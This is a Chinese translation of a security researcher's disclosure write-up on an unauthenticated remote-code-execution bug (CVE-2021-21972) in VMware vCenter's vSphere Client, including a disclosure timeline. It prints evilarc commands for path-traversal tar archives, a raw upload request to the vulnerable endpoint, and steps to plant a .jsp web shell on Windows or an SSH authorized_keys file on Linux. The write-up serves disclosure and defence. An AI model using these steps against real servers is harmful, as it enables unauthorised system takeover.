查看原文
其他

谈谈我们如何发现 VMware vCenter 的越权 RCE

代码卫士 2022-04-06

 聚焦源代码安全,网罗国内外最新资讯!

作者:Mikhail Klyuchnikov

编译:奇安信代码卫士团队

Positive Technologies 公司的安全研究员 Mikhail Klyuchnikov 发现了 VMware vCenter 中的 RCE 漏洞 (CVE-2021-21972)。鉴于该漏洞的 PoC 已发布,因此他公开了发现该漏洞的完整历程和技术详情,如下是其博客内容。



2020年秋,我从 VMware vCenter 的 vSphere Client 组件中发现了多个漏洞,可导致越权客户端通过多种协议以目标服务器的身份执行任意命令并发送请求:

  • 越权文件上传导致远程代码执行 (RCE) (CVE-2021-21972)

  • 越权服务器端请求伪造 (SSRF) 漏洞 (CVE-2021-21973)

本文将说明发现 VMware vSphere 客户端 RCE 漏洞的过程以及技术详情,并解释如何可在多种平台上利用它。

VMware vCenter/vSphere 可使企业基础设施虚拟化,并提供控制手段。虽然也可从外围看到该软件但多数情况下它位于内网中。


漏洞发现


在分析 vSphere Client 时,像往常一样,我同时采用了黑盒测试和白盒测试方法,专注于无需授权即可利用的漏洞。我尝试通过 Web 面板发送尽可能不同的请求且全部都没有 cookie 标头。

向 /ui/vropspluginui/rest/services/* 发送未授权请求后,我发现它确实并没有要求任何认证。


该 Web 应用的某些特征依赖于通常位于单独 .jar 文件中的插件。例如,vropspluginui 插件就在文件 vropsplugin-service.jar 中执行。

就我的理解,每个插件必须指定其中哪些端点要求在 Web 面板中授权才能运行以及哪些不需要。该插件被配置为允许未授权用户访问所处理的任何 URL。

负责 URL /ui/vropspluginui/rest/services/uploadova 的 uploadOvaFile 函数引起了我的兴趣。


(易受攻击的代码)

该路径的句柄执行如下动作:

  • 收到含有 uploadFile 参数的 POST 请求

  • 读取并将该参数的内容写入 inputStream 变量

  • 以 .tar 文档格式打开结果数据

  • 检索所有文档的(无目录)条目

  • 在遍历所有条目时,使用文件命名约定 /tmp/unicorn_ova_dir + entry_name 在磁盘上创建每个当前条目的副本

正是在这个地方,我注意到 .tar 条目的名称并未过滤,只是通过字符串 “/tmp/unicorn_ova_dir” 进行了拼接;在相应位置创建了文件。这意味着我们可以创建包含字符串 “../” 的文档条目,从而将任意文件上传到服务器上的任意目录中。

为使 .tar 文档利用这一行为,我再次使用了 evilarc 工具。

python evilarc.py -d 2 -p 'testFolder\' -o win -f winexpl.tar testUpload.txt

结果文档中包含一个名为 “..\..\testFolder\testUpload.txt” 的文件。我将其上传到 URL /ui/vropspluginui/rest/services/uploadova 中并检查服务器的文件系统的 c:\root 目录中是否存在 testFolder 文件夹及其嵌入文件。

POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1Host: vSphereClient.localConnection: closeAccept: application/jsonContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VDContent-Length: 10425
------WebKitFormBoundaryH8GoragzRFVTw1VDContent-Disposition: form-data; name="uploadFile"; filename="a.ova"Content-Type: text/plain
{craftedArchive}------WebKitFormBoundaryH8GoragzRFVTw1VD--


我的 .txt 文件均已成功上传,目前可通过 C:\testFolder\testUpload.txt 访问。


在 Windows 系统上获得 RCE


为了在目标系统上执行任意命令,我们需要上传一个无需授权即可访问的 .jsp shell。为了发现这类位置,我们需要:

  • 从磁盘上找到可写路径,可使用之前描述的漏洞创建文件

  • 将找到的文件路径映射到可访问 web-roots、运行 .jsp 脚本且无需授权的文件夹结构中。

首先,我们先上传文件 testUpload.txt,检查下所上传的文件会获取哪些权限,并查看其属性目录。从中可知它的所有人是用户 “vsphere-ui”。

在搜索候选位置时,目录 C:\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\ (含有 .jsp 文件)看起来不错。


检查对 jsp 脚本的未授权访问时成功了。先来查看 vsphere-ui 是否对该目录拥有写权限。


结果确实如此。现在我们可以上传一个特殊构造的 .jsp 文件,在系统上执行命令。

我们先创建一个包含构造的 .jsp shell payload 的文档并将其发送到正在研究的 URL。

python evilarc.py -d 5 -p 'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport' -o win -f winexpl.tar testRCE.jsp


.jsp 已被上传到服务器,使我们能够以 NT AUTHORITY\SYSTEM 权限在系统上执行任意命令。


在 Linux 上获得 RCE


Linux 实例的情况稍有不同。但它们也易受攻击且可导致外部用户上传任意文件。

在 Linux 上,我无法找到可允许同时上传并执行 .jsp shell 的目录,但存在另外一种可在服务器上执行命令的方法。

我们可以以 vsphere-ui 用户权限上传任意文件,但如果我们将公钥上传到该用户的 home 目录并尝试使用私钥通过 SSH 连接到服务器会怎么样?

我们先查看下是否可从外部访问 SSH:

nmap -p 22 vSphereLinux.local


第一步,生成一个密钥对:

ssh-keygen -t rsa



随后以生成的公钥创建一个 .tar 文档:

python evilarc.py -d 5 -p 'home/vsphere-ui/.ssh' -o unix -f linexpl.tar authorized_keys


接着,利用该漏洞上传文件并尝试通过 SSH 连接到目标主机:

ssh -i /path/to/id_rsa vsphere-ui@vSphereLinux.local

成了!我们可以以 vsphere-ui 用户的权限访问服务器。


结论


本文演示了以未认证用户身份在 VMware vSphere Client 中实现 RCE 的方法。除了访问命令行外,攻击者可利用 vropspluginui 插件中缺乏认证的情况执行其它恶意动作。

强烈建议用户更新至最新版本。更多信息可参见:

https://www.vmware.com/security/advisories/VMSA-2021-0002.html


时间线


  • 2020年10月2日:漏洞提交

  • 2020年10月3日:厂商首次回应

  • 2020年10月9日:漏洞复现成功,厂商着手修复

  • 2021年2月23日:漏洞修复,安全公告发布





推荐阅读
VMware 修复 vCenter 服务器中的严重 RCE 漏洞
1个已知CVE,7步,找到一个高质量RCE并获奖金



原文链接

https://swarm.ptsecurity.com/unauth-rce-vmware/


题图:Pixabay License


本文由奇安信代码卫士编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。



奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的

产品线。

    觉得不错,就点个 “在看” 或 "” 吧~

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存